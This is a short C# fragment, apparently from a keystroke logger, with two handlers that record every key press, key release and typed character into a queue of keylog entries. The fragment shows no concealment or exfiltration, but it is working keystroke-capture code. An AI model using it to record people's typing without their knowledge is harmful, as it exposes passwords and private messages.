private void OnKeyUp(object sender, RawKeyEventArgs args) { try { var keyRepresentation = args.Key.ToString(); var log = string.Format("[{0} up]", Escape(keyRepresentation)); this.EnqueueLog(Keylog.Create(log, args)); } catch (Exception ex) { Program.Trace($"OnKeyUp: { ex.Message }"); } }
private void OnKeyDown(object sender, RawKeyEventArgs args) { try { var keyRepresentation = args.Key.ToString(); var log = string.Format("[{0} down]", Escape(keyRepresentation)); this.EnqueueLog(Keylog.Create(log, args)); if (!string.IsNullOrEmpty(args.Character)) { this.EnqueueLog(Keylog.Create(args.Character, args)); } } catch (Exception ex) { Program.Trace($"OnKeyDown: { ex.Message }"); } }